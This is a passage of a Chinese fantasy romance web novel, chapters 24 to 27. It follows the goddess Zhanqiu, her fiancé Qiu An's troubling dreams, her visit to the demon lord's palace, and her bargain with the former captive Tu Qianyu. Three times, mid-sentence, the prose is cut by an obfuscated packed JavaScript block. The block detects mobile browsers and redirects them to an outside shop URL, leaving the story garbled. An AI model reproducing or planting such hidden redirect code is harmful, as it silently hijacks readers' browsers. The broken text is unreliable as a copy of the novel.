回元究竟是何不得了的东西?有悖天地之法又是何意?如若此物当真危险,那她还应该遵守与百里及春的约定吗? 诸多疑问接撞而至,斩秋忽然觉得头疼,欲回秋茗宫整理思绪。 在此之前,她要先回凤极殿,灵衫还在等她。 孰料此时手腕蓦地一紧,她猝不及防地向后跌去,整个人撞进一个温热坚硬的胸膛。 熟悉的气息霎时涌入鼻间,斩秋浑身一颤,过往的画面在脑海中重现。她用力甩开了腕上的那只手,转身恶狠狠地瞪着来者,声音沾染了明显的怒意。 “二殿下这是做什么?!” 裘安的表情与平日没什么两样,但若仔细观察便能发现,他眉宇之间添了一抹淡淡的烦郁。 “我有话要与你说。”他依旧用着不可一世的口吻说道。 “可我没话要与二殿下说。”斩秋愤然转身,仿佛碰见什么肮脏之物,根本不欲与其多言半句。 见她要走,裘安再次上前拉住了她:“斩秋,你是不是……” 他的话还未说完,余光便瞥见前方从凤极殿中陆续散出的人群。 斩秋见状也朝自己身后看了一眼,再低头看向被他扯住的衣袖:“二殿下,人多眼杂。今日天宫已有够多热闹给他们议论了,想必你也不希望再为他们贡献更多谈资罢?” 虽然他们二人已经定亲不假,不过大庭广众之下,还是在天后寿辰这样的日子,于人前拉拉扯扯委实有失礼教。 裘安闻言松开了手。 一波又一波散场的宾客从他身旁走过,哪怕今日这场宴席并不让人愉悦,但在天宫,该守的礼数仍不能少。 是以众人经过裘安时不忘向他见礼,而他却无动于衷,面无表情地站在原地。 他看着斩秋越过自己走进人群,踏入殿门,随后又带着灵衫从殿中出来,再度走进人群,与他擦身而过。 仿佛就与眼前这群来参加天后寿宴的、与他毫不相干之人一般,从他身边消失得一干二净。 待人群都消散了,他依旧站在那里,静如木偶。 邬霖来时,看到的便是这样一番景象。 “殿下,可是发生了何事?” 裘安没有回答,仿佛没有听见。 前者不敢催促,等待了许久才再度唤道:“殿下?” “你说,这世上可以预见未来之法?”彼时裘安突然启口,声音森凉宛若寒冰。 邬霖脸上闪过一瞬的错愕,虽不知殿下为何有此疑问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633947|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但还是仔细回想了一番,如实答道:“属下未曾听闻此法。” 裘安缓缓颔首,不知是在回应前者所言,还是在说服自己相信这一说辞:“是啊,哪来的预见之法,不过是巧合罢了。” 说完他的身体才像重新注入了血肉,不再似一尊木偶,缓缓向前走去。 邬霖跟在裘安身后,望着他颀长的背影折起了眉。 殿下今日怎么了? 不一会儿,身前又传来他的话语。 “去师尊那替我拿一些安神之物,近来怪梦频发,着实……”他说着停顿了一下,随后又带着比先前还要冷上百倍的口吻说道。 “令人心烦。” 邬霖颔首应是。 可走着走着,面前的身影却倏地停了下来。 邬霖驻足抬眸,虽然看不见殿下的脸,却仿佛能从他低沉的声音里感受到乌云压境般的沉闷之气:“算了,先不用了。” 裘安站在甬道转角,银色的月光像一团迷雾笼罩住他,而他眸中寒光宛如利刃,几欲劈开所有不实。若还会再次梦见斩秋,他心中有一事需要验证。 然而事实是,今夜他的确又梦见了斩秋,却离他心中想要验实之事差了很远的距离。 梦中那一日是天后寿宴前夕,斩秋受天后所托来朝云宫看望裘安。 原本斩秋是不愿来的,因为那日在星云顶她让裘安退婚时,他没有给出回答。 奈何天后的面子她实在无法拂去,毕竟裘安受伤的缘由如此滑稽,想必天后也实在没眼前来照看,但又不得不作出慈母的姿态,故而差她代其前来。 “听闻你在幽境受了伤。”斩秋人还未踏入寝殿,轻慢的声音已经传来,“当真是稀奇,九重天何人不识你二殿下裘安,竟敢将你当作误闯的贼子重伤了去,啧啧。好巧不巧,还偏偏赶上了天后寿辰。” 说来有些不公,裘安前往秋茗宫求见斩秋时在殿外等了足足三个时辰,而今日斩秋想要进入朝云宫,仅凭一块天后令牌就大摇大摆地走了进来。 她来到屏风前,将天后所赐的种种灵丹妙药放在床首的矮凳上,望着床帐后躺着的裘安揶揄道:“这下好了,明日你怕是无福参加天后寿宴了。” 显然,斩秋并不相信裘安真的受伤,只当他是为了逃避天后寿宴找的蹩脚理由,眼下正当她之面前演戏呢。 可是裘安没有出声,她不禁偏了偏头,似乎欲从床帐中间狭小的缝隙中窥探到里面的情况。 “裘安?” 良晌,却不见里头有一丝动静。 斩秋逐渐失了耐心,不顾礼仪地上前,手臂一挥捞起帷帐,看见了裘安苍白虚弱的脸,目色中闪过一道寒光。 难道他不是装的? 羽翼般轻盈的帷帐从斩秋身后散落,将他二人包裹在同一个空间里。 斩秋似乎花了很长时间才接受裘安受伤的这个认知,一双好看的眉毛微微蹙起,对眼下这个诡怪的事实感到质疑。 凭他的修为,就算幽境士兵当真将他误认作贼子袭击,他也不可能伤成如此罢? 正当她思忖之际,躺在床上的裘安忽然睁眼,与她狐疑的目光相接。 斩秋一惊,下意识便往后退,不料却被落在地上的帷帐缠住,整个人不受控地向前扑去,狠狠地摔在了裘安身上。 她的下巴磕在了裘安的锁骨,不由吃痛抬起头,看见了裘安近在咫尺的脸。 许是受伤的缘故,让他本就白皙的皮肤在此刻更显寒意,一双剑眉微微皱起,孤傲的双眸透着拒人千里的冷漠。 她第一次见到他这样的表情。 时间仿佛停滞在这一瞬,好像世间万物都静止了,唯有斩秋的心,咚咚、咚咚地跳着。她如同被夺走了魂魄,呆呆怔住一动不动,直到面前之人沉声开口。 “你,还要抱多久?” 25. 第25章 冰冷的声音从耳畔浇下,斩秋只觉浑身血液倒流。她登时从裘安身上跳起,眼底划过一抹慌乱:“你既然有意识,方才我叫你的时候为什么不说话?” 突然睁眼吓人,是你奇怪的癖好吗?斩秋在心中腹诽。 “我应该说什么?”裘安坐起身静静地看着她,目色冷硬如铁,“左右你今日前来也并非真心来关心我罢?” 心思被他看穿,斩秋一时也有些心虚,连忙将目光瞥向别处:“算我误会你了,我给你赔不是。” 裘安看着她就连道歉都是一副高高在上的模样,忽觉心中恼火,没有搭话。 殿内陷入一阵长久的沉默。 斩秋不知该说些什么,又觉得就这么离开似乎也有些奇怪。那一双明亮的眼睛无处安放,上下左右四处乱转着,突然想到什么,她脱口而出道。 “对了,退婚之事,你再考虑考虑。” 话音辄止,裘安本就阴冷的脸色变得愈发难看:“我如今伤还未愈卧床在此,你却只关心退婚一事。” 他说着垂下眼睫遮去目中神色,却难掩话中自嘲之意,“斩秋上神当真是无情啊。” 听他这么说,斩秋也发觉自己眼下提及此事似乎不是时候,奈何方才头脑一热,说话未经思考。 她不知自己今日为何如此,许是先前一直对自己百般殷勤的裘安突然变得冷漠起来,教她一时有些不适应,故而失了分寸。 “抱歉。”斩秋面露些许愧色,声音也变得严肃正经起来,“那我先走了,你好生休息。” …… 天光微亮。 裘安睁开眼,眼底仍有未散尽的寒意。 看来不管是在梦里还是梦外,斩秋都一心要退掉与他的这门亲事。 “就如此不想与我扯上关系么?”裘安嗤笑一声,握紧了拳。 说完这话,他神情微怔,似是有些震惊自己竟会因此感到不悦。 一定是因为这些时日频繁出现的梦搅乱了自己的思绪。裘安这么想着,不由扶额闭眼,朝外唤道:“邬霖。” 邬霖应声走了进来:“属下在。” “去,”裘安摆了摆手,声音略显疲惫,“帮我从师尊那拿些安神之物。” 自昨日涣川说完那一番莫名其妙的话起,斩秋心中便一直隐隐不安。万一回元当真是什么邪恶之物,那她将此物找到如约交到百里及春手里,岂非亲手埋下罪恶的种子? 思来想去,她还是决定要去魔界一趟,将回元之事问个明白。 “殿下,我随您一同前去。”灵衫上前说道。 斩秋看了一眼殿中抱着古剑匣一脸兴奋的玲珑,笑着摇了摇头。 “没事,我很快就回来。你留在宫中陪着玲珑吧,她第一次出缥缈境,定是看哪儿都新奇。她若想出去四处看看,你大可由着她去,只要看着她别闹出什么事端便好。” “可是……”灵衫放心不下,欲再说些什么,却被斩秋打断,“放心吧,我有分寸。” 见殿下心意已决,灵衫未再阻拦:“是。殿下多加小心。” 夜色下的诡境,比之以往更显怪异,四周弥漫着青色云雾,一道道由魂魄支撑的魍树间隔甚密,却又凌乱无序地扎根于地面。风一吹过便激起一阵簌簌声响,仿佛不通音律的乐者奏着难以入耳的旋律。 似乎是为了尽快逃离这里,斩秋施术的动作比以往快了许多,破开结界后毫不犹豫地闯了进去。 与第一次来时不同,今夜的魔宫与她曾在书中读到的一样,虽有流光飞舞,却是阴寒之地。仿佛她上一回来时见到的世外桃源般的景象只是一场臆想。 斩秋不由提起几分精神,目下警醒,按照着记忆中烛月殿的方向走去。 还未走几步,前方突然响起一道声音,随即又冲过来十几个身穿铠甲的士兵将她团团围住。 “何人擅闯魔宫?” 声音的主人从一群士兵身后缓缓走来,待看清斩秋的面容后,他眼底的威严稍褪,话中挑衅却丝毫不减:“斩秋上神不请自来,就不担心自己有来无回吗?” 斩秋也认出了来者,朝其礼貌一笑:“赤龙将军,我来是想见魔尊一面。” “尊上在忙。” “我可以等。” 赤龙闻言将她上下打量了一番,不知在想什么,眼底划过一丝狡黠,继而摆手示意周围魔兵散开,转身道:“随我来吧。” 烛月殿外,除了门外看守的魔兵,还站着一人。那人身着白衣,半披长发,身上柔和的气息与周围魔兵的大不相同。 看见赤龙带了一个女子回来,他眉角微皱,正欲上前询问,没走两步便看清了女子的脸,顿时停下动作。他不禁回首朝殿门看了一眼,眼底浮上一抹担忧。 “尊上在殿中有要事处理,你若愿意等,便在此候着罢。”赤龙在殿前的台阶下驻足,回身与斩秋道。 斩秋颔首:“多谢。” “你怎么把她带来了。”白衣男子见状一把将赤龙拽到身边,低声耳语。 “温将军,注意措辞,这可是她自己找上门来的。” “那你就应该将她送走,而不是带到这儿来!你难道不知今日尊上……”温辞说着话语微顿,过了一会儿,满目正经道,“万一待会儿尊上动怒,失手将她伤了怎么办?她毕竟是九重天的人,如此恐引祸端,你还是赶紧把她弄走……” “好了温辞,你说得我耳朵都要起茧了。”赤龙眯起眼睛,佯装一副受伤模样捂着耳朵,掐断了他的后话。 只因他一点也不担心温辞口中之事发生,相反,他还有些期待尊上真的对斩秋出手。他早就看九重天的人不顺眼了,巴不得借此机会好好教训一番。 见温辞无奈叹气,赤龙才嘻嘻一笑,口吻张狂:“就算尊上将她伤了又如何?大不了我等随尊上杀上九重天,踏平天宫!哼,定让裘旭那小子跪地求饶。” 温辞听罢扶额摇首,自知与此等满脑子打杀的榆木脑袋说不通,只能寄希望于那位斩秋上神。 约莫半个时辰过去,仍未见殿内传来任何动静,斩秋疑心百里及春根本不在殿中。这赤龙本就视所有仙界之人为仇敌,成心捉弄于她也并非不可能。 不过眼下毕竟在魔族地盘,她不想将动静闹大,只得上前几步走到离赤龙近一些的位置,委婉道:“能否烦请赤龙将军帮我通报一声?” 话落,却是温辞抢先一步回答:“斩秋上神若是不方便久待,不如改日再来。” 他心中自是巴不得斩秋赶快离开,可惜斩秋会错了意,只以为他与赤龙一样,是存心刁难于她。 “既然如此……”斩秋缓缓握拳,心想既然他们不愿为她进去通报,那便只有自己去了,“失礼了。” 斩秋说完提步踏上台阶,直朝殿门而去。彼时身后徐徐响起赤龙嘲弄的声音:“你若不想受伤,我劝你还是晚些再进去。” 斩秋不由回首,只见他勾着嘴唇,一副等着看好戏的模样:“赤龙将军这是何意?” “便是字面上的意思。”他道。 斩秋不知他葫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633948|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芦里卖的什么药,也不屑追问。左右她今日是来向百里及春讨说法的,在外等候多时已算给足了他魔尊的面子。 是以她不再理会,继续向前。 可就在她离殿门仅有两步之距时,殿内突然响起一道令人寒颤的嘶吼,似是正承受着酷刑,痛苦至极。 她这才停下了脚步。 方才那并不像百里及春的声音,莫非此刻殿中还有旁人,赤龙果真没有欺她? 正当她犹豫着还要不要向前时,面前骤然袭来一阵强风,从内向外震开了殿门。 斩秋本能地闭上眼睛,头发与衣裙被骤风向后刮去。待感受到四周气息平静下来,她才慢慢睁眼,殿内的景象毫无保留地摆在她的眼前。 里面仅有两人。 一黑,一白。 黑衣男子躺在地上,面朝着地,一动不动,似是没了气息,周围还淌着一滩血水。 白衣男子垂目半蹲于前者身前,一只手还覆在前者后脑勺上,从远处看去就像是在安抚前者一般。 但是斩秋知道,这可不是什么安抚。 ——百里及春杀了他。 斩秋神情微滞,她不是没有见过这般场面,也并非受惊于有人毙命在此,而是惊讶自己怎么忘了。 忘了百里及春是魔尊,一个心狠手辣、不近人情的危险之辈。 许是这些时日与百里及春相处得还算顺利,又或是前几日自己才刚救了他一命,这才让她得意忘形,以至于招呼都不打一声便破了结界孤身前来。 余光瞥见站在门外的斩秋,百里及春缓缓抬头,白皙的脸上沾满血迹,双眼通红。此时的他仿佛一个来自深渊的恶魔,食人血肉,噬人心智。 “斩秋。”百里及春眯起眼眸,低声叫着她的名讳。他站起身,慢条斯理地擦拭着手上的血迹,一步一步朝她走来。 直至离她一臂距离时方才停下,缓缓垂眼,盯着她那张失去颜色的脸,唇角微扬,意味深长地说道:“看来这魔宫结界于你而言,形同虚设啊。” 他虽笑着,可眼底却无半点笑意,冷淡的口吻透着令人窒息的压迫感,仿佛是在问责她的不请自来。 话音落下,殿内陷入一片死寂。 赤龙说得没错,她不该在此时进来。 斩秋咽了咽喉咙,下意识地想要离开。是个明眼人都能瞧出来,百里及春此刻因旁的事正在气头上,她可没打算让自己成为他发泄怒火的牺牲品。 但一想到涣川所言,她便打消了这个念头,继而抬起头对上百里及春审视的目光,口吻坚定:“擅闯魔宫是我不对,但我今日前来是有一事想要问清楚。” “敢问魔尊,回元究竟是何物?” 后者听罢神情未起一丝波澜,语气轻慢:“本座为何要告诉你?” “你要我帮你寻找此物,而我却连它到底是什么都不知道,这不公平。” “公平,”百里及春唇舌间咂摸着这二字,逐渐敛起笑意,“你怕是误会了什么,斩秋,你没有与本座谈条件的资格。” 阴沉的声音让斩秋在这一刻如坠冰窟。 “哦。”他突然扬起声调,挑眉似想起什么一般,恍悟道,“若是你以上一次救过本座为由,或许的确有这个资格。但是本座记得你亲口说过,你那日所为,皆是为己,而非为了本座。” 说到此处,百里及春微微垂首,目光牢牢地钉在斩秋脸上,声音分明不染一丝情绪,却教斩秋在他的视线中看到了浓浓愠色。 “本座记得没错罢?” 26. 第26章 阴晴不定,杀人如麻。 世人这样评价百里及春。 从前斩秋便知他危险,如今亲眼瞧见,方才对“危险”二字有了实感。但她并不惧,只因她很清楚,如今他们之间是互利的关系,百里及春不会杀她。 她看着百里及春缓缓弯下腰,那张精致又充满戾气的面庞朝她靠近,嘴唇一张一合:“若下一次,斩秋上神再不请自来,本座便当你是属心于魔界。届时……” 他话语稍顿,目光在她脸上流转着,“本座定将你留下,永世不得离开。” 此话听着像是玩笑,但从他的嘴里出来却无半点玩笑之意,直教斩秋浑身一阵寒战。 须臾之间,百里及春已直起身,目光投向门口的温辞,冷声开口:“温辞,送客。” “是。”温辞领命,即刻上前走到斩秋身旁,心底悄然松了口气。 还好还好,没有打起来。 “等等。”斩秋不甘就这样回去。 百里及春应声挪回视线,戏谑道:“怎么,当真想留下?” “我要见濯奇。” 既然他话都已经说到这个份上,那她下次再来魔界便不知是何时了。今日好不容易来一趟,怎能无功而返? 百里及春倒是没有阻拦,朝一旁的温辞递去一个眼神。后者领意,颔首朝她说道:“斩秋上神,请。” 遗光塔内,阴寒幽暗。 黑暗的环境对已无双目的濯奇来说不足为惧,令其恐惧的是他的耳朵尚且灵敏,却终日听不见任何声音,时间在他这里仿佛冻住一般,永远等不来尽头。 此处原有六间囚室,可自那日斩秋来过以后,百里及春便将其他囚室之人转移,使这第二十二层彻底沦为他一人囚牢。 直到此刻,终于有了一丝声响。 濯奇的耳朵动了动,听见两道不同的脚步声正朝他靠近,他身躯一震,连滚带爬地扑到了栏杆前,死死地抓着:“斩秋!是你吗,斩秋?” 斩秋眉间微动,没有吭声,缓缓走到他的面前,视线垂落在他干瘪的手上,倒是比上一次见他时更为孱弱。 只见他将一只手伸到栏杆外,上下摸索着,似欲抓住什么一般,追问着:“斩秋,是你吧?” 除了斩秋,也没人会来此看他了。 听他话语如此急切,斩秋以为他是在这段时日里想清楚愿意开口了,不由态度温和了些:“你可是愿意说了?” 濯奇仅沉默了片刻,随即说道:“我要单独和你说。” 他虽看不见,却仍能感受到不远处还站着一人。 斩秋扭头看了一眼离自己五步之外的温辞,抿了抿唇。 温辞是百里及春的人,同她来此本就是行监视一职,必会将在遗光塔内发生的一切一五一十地告诉百里及春。将他屏蔽在外正合她意,省得给百里及春更多拿捏她的把柄。 斩秋长袖一挥施下一道结界,将自己与濯奇笼在其中,隔绝一切外物:“说吧。” 孰料后者一开口便是:“斩秋,救我出去!” 出乎意料的回答令斩秋愣了一愣,她静静地看着地上之人,口吻沾染一层薄愠:“你是在戏弄我吗?” “不!只要你救我出去,我就把你想知道的一切都告诉你!”濯奇拼命摇着头,语气急切,仿佛迫不及待地想要离开这里。 这个条件的确令斩秋心动,可是她要如何相信一个背信弃义之人? “我凭什么信你?” “如若出去后我未信守承诺,你大可杀了我!” “笑话。”斩秋冷哼一声,“你本就一心求死,万一我将你放出来后你便自裁,那岂不是便宜你了?” “那你要如何才能相信我?” 她蹲下身去凑近濯奇的面庞,哪怕他此时已无双目,她还是望着那本该明亮而如今空洞之处,声音很轻带着几分引诱的意味:“不如你先告诉我当年的真相,然后我再带你离开这里。” 濯奇脸色僵住,没有回答。 “既然你我都信不过对方,那没什么好谈的了。”斩秋说罢便起身,准备撤离结界。 “等等!”濯奇在她身后高喊,“我可以帮你!” “帮我?”她停下动作,神色狐疑。 “百里及春帮你困住我,必然有所条件罢?”濯奇道。 天界与魔界素来不合,加之斩秋自小在玄焰真神身边长大,不可能与魔界之人来往,故而百里及春绝不会平白替她做事。 他二人之间定有交易,这并不难猜。 “是又如何?” “他的条件是什么?我可以帮你。”濯奇努力撑起身,好似想让自己看起来更为可靠,努力证明他尚有用处。 话音落下,斩秋垂眸沉思片刻。濯奇曾是父神最为信任之人,很多事情都未对其隐瞒,或许他真的知道点什么。 于是她试探性地开口:“那你可听说过,回元?” “回元……”濯奇低声喃喃,似是在回忆什么,少顷才问,“可是上古时期之物?” 斩秋颔首:“你可知它为何物?” 却见濯奇摇了摇头,默了半晌才道:“不过我知道一个地方,乃是玄焰真神生前安放上古神器之地。” 斩秋眼眸微亮:“在哪儿?” 温辞站在离斩秋不远的地方,他看着斩秋与濯奇谈话,表情忽而冷淡忽而阴沉,却听不到任何声音,仿佛在看一场无声的戏。 他不知道濯奇最后对斩秋说了什么,只见她面色凝重地走出来,头也不回地朝外步去。 彼时天色已亮,诡境迷雾散去了些许。 斩秋从魔宫结界处出来,思绪沉重地朝来时停驻飞辇的方向走去。走着走着,她忽然发现前方好似立着一道人影,只是距离尚远,加之雾气弥漫,看不清对方面容。 随着她一步步靠近,云雾也被一层层剥开,这才露出了来者清秀的脸。 斩秋停下脚步,眼底闪过一瞬惊讶,随之疏懒地笑笑,神情一派大方。 “涂千羽,你果然没死。” 她们之间隔着约莫五步的距离。只见今日的涂千羽未着裙衫,而是一身窄袖长衣,头发被尽数束起,面无表情地站在那里。 “斩秋上神还记得小仙名讳,当真令我受宠若惊。” 听她的口吻,似乎对自己充满了怨怼,斩秋不由蹙眉,有些好奇她为何出现在此,且瞧她的模样,倒像是专门在此等着自己。 心中这么想着,便也这么问了出来。 却闻她道:“斩秋上神,我本不想与你为敌,可你为何要救他?” 斩秋不知她口中的“他”是何人,眉头皱得更深了,正欲开口询问,便见她继续说道:“若不是你,如今百里及春已经死了!我好不容易得来的机会,却被你轻而易举地毁了!” 彼时涂千羽的眼神变得冷冽,声音也愈发阴沉,一字一句地重复着:“斩秋上神,你不该救他。” 听到这里,斩秋顿时恍悟,眼神里有些不可置信:“那日在天宫是你伤了百里及春?你为何这么做?” 在她的记忆里,涂千羽和百里及春分明是两个完全没有交集之人,涂千羽为何要置百里及春于死地?况且百里及春在天宫时分明扮作玲珑模样,涂千羽又是怎么认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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涂千羽却像是走火入魔一般,不知疲倦地一次又一次地攻上前,斩秋便一次又一次地避开。 “虽然我有的是时间,但我无意与你纠缠。收手吧。” 面对她的攻势,斩秋眼底始终未起一丝波澜,仿佛她所做的一切于她而言,皆是无足轻重、无关痛痒。 这样目空一切的眼神好似让涂千羽心中的恨愈发强烈,她瞪红了眼,只愿自己能得手一次,哪怕就一次。 剑光闪烁,如同一条条银丝,在斩秋身前盘旋飞舞。下一瞬,长剑化作一道疾风划过斩秋颈侧。 一缕乌发猝然断落。 斩秋垂眸看着自己被削落的发丝,眸色一沉,再抬眼时,眼底染上一层薄薄的愠色:“你真是不知好歹。” 此时涂千羽再度袭来,这一次斩秋未再躲闪,右手虚空一抓,便见霄云剑骤然出现在她掌心,紧紧握住朝眼前长剑挥去。 剑气犹如寒霜逼过,银色剑光在空中划过一道弧度,轻而易举将前者之剑劈成两段。 涂千羽亦被断刃的冲击击退数丈远,直到撞上身后魍树才停了下来,浑身脱力向下滑落,单膝跪于地,再也动弹不得。 斩秋提步朝涂千羽走去,那一缕被削短的头发在她肩头摇晃显得尤为扎眼。却见下一瞬,那缕发丝似活了一般,如同一条灵动的黑蛇肆意向下蜿蜒,顷刻便恢复成原来的模样。 待至涂千羽身前时,斩秋停下了脚步,微微垂首,居高临下地看着前者,口吻冷淡又倨傲。 “还来吗?” 27. 第27章 涂千羽看着自己竭尽全力却仍无法企及斩秋轻轻一挥的招式,心中一阵刺痛。 为什么总是这样?无论她怎么努力,都不及别人生来的优势,等待她的永远只有失败。 在涂隐山时她被族长打压,被族人轻视、嘲笑,好不容易被人带离了涂隐山,原以为自此脱离苦海,却不想只是被人当作棋子。 当棋子也就罢了,她原以为只要自己够忠心,便能依附于下棋之人,在这世间站稳脚跟,好好得活下去。可是就在前几日她才知晓,自己不过是一颗随时可弃的棋子,她的命根本不由她做主。 想到这些,愤怒犹如潮水一般涌上心头,涂千羽的双眼渐渐被怒火染红,她歇斯底里地怒吼道:“我不服!凭什么!” “凭什么有人生来就身居高位,而有的人生来便烂在深渊底下,想要出去只能祈求上位者动一动那少得可怜的恻隐之心,一生都活在虚无缥缈的希望之中!” “我不愿这样活着,我不再奢望有人救我出深渊,因为只要他们一旦放手,我就会摔得粉身碎骨!我受够了这种任人宰割的日子,我要把命运握在自己的手里,有错吗?!” 她怨怒的眼神似是一道火,灼伤了斩秋拿剑的手,不由指尖微动。 其实上一世她们之间的交集不深,所以斩秋从未听她说过这样的话,如今知道她立场,心底莫名生出一丝怜悯。可是就算涂千羽所做的一切都另有隐情,她也千不该万不该将仇恨转移到自己身上。 上一世是她将涂千羽救回天宫,帮其疗伤,给其容身之所。斩秋自认自己从未对不起她,而她最后却站在裘安那边,和裘安一起将她推入万劫不复之地。 想到这里,斩秋的神情又恢复冷冽:“我不知道你经历了什么,或许你说得对。但是你将矛头指向无辜之人,便是错了。” “无辜之人,你?还是百里及春?”涂千羽仰头大笑,眼里却闪烁着仇恨的火苗,高声怒道。 “你随便一句话便让我在乘安殿跪了整整一夜;裘安动动手指就让我经脉尽断,不得不成为他用来陷害你的工具;还有百里及春,他用我时尚且冷酷,弃我时更是连眼睛都不眨一下,薄情寡恩、毫无怜悯!该死!你们都该死!” 相较于她的歇斯底里,斩秋显得异常沉静。 那日在执月阁外,涂千羽被妙云罚跪,那是因她做错了事。妙云向来为人公正、赏罚分明,定不会冤枉了她。 故而斩秋没有擅自撤免妙云对涂千羽的惩罚,而是让她换了个地方跪着。 但若说她所举存了私心,她不会否认。毕竟若那日被罚的不是涂千羽而是旁人,她或许会对那人网开一面。 故而斩秋并不打算为自己辩驳,亦无意于对她说教,只是思索着该如何处理她。 思忖之际,耳边突然回响起她方才那句:“还有百里及春,他用我时尚且冷酷,弃我时更是连眼睛都不眨一下,薄情寡恩、毫无怜悯!” 斩秋似乎意识到什么,眉头一紧。 偷闯裘安寝殿那日,她问百里及春是否在天宫安插了人,他是怎么回答的? ——“你们不是抓到了么?” 当时她还以为百里及春是在敷衍于她,没想到他说的竟是真话。 这样一切便都说得通了。 百里及春去天宫要见的人,正是涂千羽,只是他去之前并不知晓涂千羽已落入裘安手中。 还有那日秋茗宫外,裘安险些对百里及春动手的那日,百里及春分明是从秋茗宫外面回来的。想必他便是在那个时候见完了涂千羽,并欲夺其性命,可惜那时他并无灵力在身。 而涂千羽便是在那时知晓自己在百里及春那里已成弃子,所以在裘安放她出来以后,她便去往齐星斋对百里及春下了杀手。 想到这里,斩秋唇角不觉绽开一抹豁然开朗的笑。 “你笑什么?”涂千羽愤然问道。 听到她的声音,斩秋回过神来,垂眸看向涂千羽,眼底有拨云见日的畅快,声音亦是欢愉:“我笑你竟真是百里及春安插在天宫的奸细,我笑裘安竟然阴差阳错抓对了人。” 涂千羽闻言身形一震,这才意识到自己失言。 “可惜啊,他太自负,所以把你放了。”斩秋缓缓蹲下身去,饶有趣味地看着她,“你说裘安若是知道自己被你耍了,还被你将计就计骗走灵元丹,会不会想杀了你?” 涂千羽狠狠咬牙,垂下头去:“你要抓我回去给他邀功请赏就抓吧,我也不指望你还能放了我。” “若我真的打算放了你呢?” 话音落下,涂千羽神色顿时变了,她缓缓抬首,只见斩秋面露微笑:“敌人的敌人便是朋友。既是朋友,我何故为难你呢?” 她说着停顿了一下,转而又道,“不如我们合作吧?” 听她这么说,涂千羽的眼神里闪过一丝希翼,但是很快便消退下去:“呵,什么合作,不过是从别人的棋子沦为你斩秋的棋子罢了,这二者有什么区别?” “当然有区别。”斩秋一面说一面抬手施术,为涂千羽恢复方才所伤之处,循循善诱道,“你为他们卖命,他们却只将自己的过剩之物拿来当作施舍给你。但你若与我合作,我可以给你你真正想要的。” 涂千羽睫毛微颤,久久没有回答。 看穿她心中犹豫,斩秋缓缓站起身来,递给涂千羽一块腰牌:“你无需现在给我答复,待你想好了,便拿此腰牌到缥缈境,自会有人引你见我。” 斩秋说完便准备离开,突然想起什么,又嘱咐道:“对了,在此期间,你最好别在这附近晃荡。” 说着回想起方才在烛月殿中的情形,挤了挤眉,“百里及春若知道你在此处,怕是会杀了你。” 秋茗宫。 灵衫因斩秋迟迟未归而感到不安,在殿中来回踱步,惹得玲珑好奇发问:“你今日怎么了?” 灵衫应声回神,暗自下了决心:今日就算这诡境结界再难闯,她也要闯进去将殿下带回来。 于是转头对玲珑道:“玲珑,你且在宫中待着,哪儿也不要去。我出去一趟。” 她一说完便大步朝外走去。 玲珑见状立即丢了手中的糕点,起身跟了上去:“你是去寻殿下吧,我也要去!” “不行。”灵衫驻足,转过身来面对着她,神情冷肃。 “为何不行?” 话音落下,灵衫暗下神色,心中思量着要不要告诉她殿下所去之处乃魔族地界。 然而就在此时,她见玲珑忽然瞪大了眼睛,乐呵呵地绕过自己,朝后跑去:“殿下!你回来了,灵衫姐姐正准备去寻你呢!” 斩秋闻言朝灵衫看去,正逢其回首,四目相对,她歉意地笑了笑:“遇上一些事情耽误了时间,让你担心了。” 灵衫目色一紧,旋即朝她走去:“出了何事?殿下可有受伤?” “我没事。”斩秋摇头,想到方才之事面上浮现一丝愉悦,“不过,我倒是发现了一件有趣的事。” “什么有趣的事?我也想知道!”玲珑抢先发问,眨巴着眼睛凑了上来,抱住斩秋的手臂。 斩秋扭头看她,扬起唇角,伸出手指抵住她的额头,将她凑近的脸推远了去:“小孩子不许瞎打听。” 玲珑向来心思敏捷,听殿下这般口吻便知晓殿下定是要与灵衫商量什么大事。自己既帮不上忙,就不在此处添乱了。 于是佯装一副生气的模样,双手叉腰“哼”了一声,大摇大摆往偏殿走去,给她们二人留出空间:“不说算了!” 斩秋宠溺地摇摇头,随后收回目光将灵衫带到一旁坐下,将今日发生之事尽数告知于她。 “殿下的意思是,回元很可能在白骨渊?” “嗯。”斩秋颔首,“濯奇一心只求离开遗光塔,而我是唯一能带他走的人。他说的话,应有七八分可信。” “可是白骨渊乃是禁地,我们要如何进去?”灵衫问道,说完只见斩秋眼底闪过一抹狡黠:“这便要看涂千羽如何选择了。” 斩秋知道涂千羽在裘安那还不是弃子,否则裘安就不会帮她假死了。故而只要涂千羽答应与她合作,将白骨渊的消息放给裘安,她便可借他的势,坐收渔利。 “可是殿下,”灵衫想到之前斩秋与她所说的上一世的恩怨,不由得担忧,“涂千羽当真可靠吗?您就不怕她是假意应承您,背后却行左右逢源之事,向裘安出卖您的计划呢?” 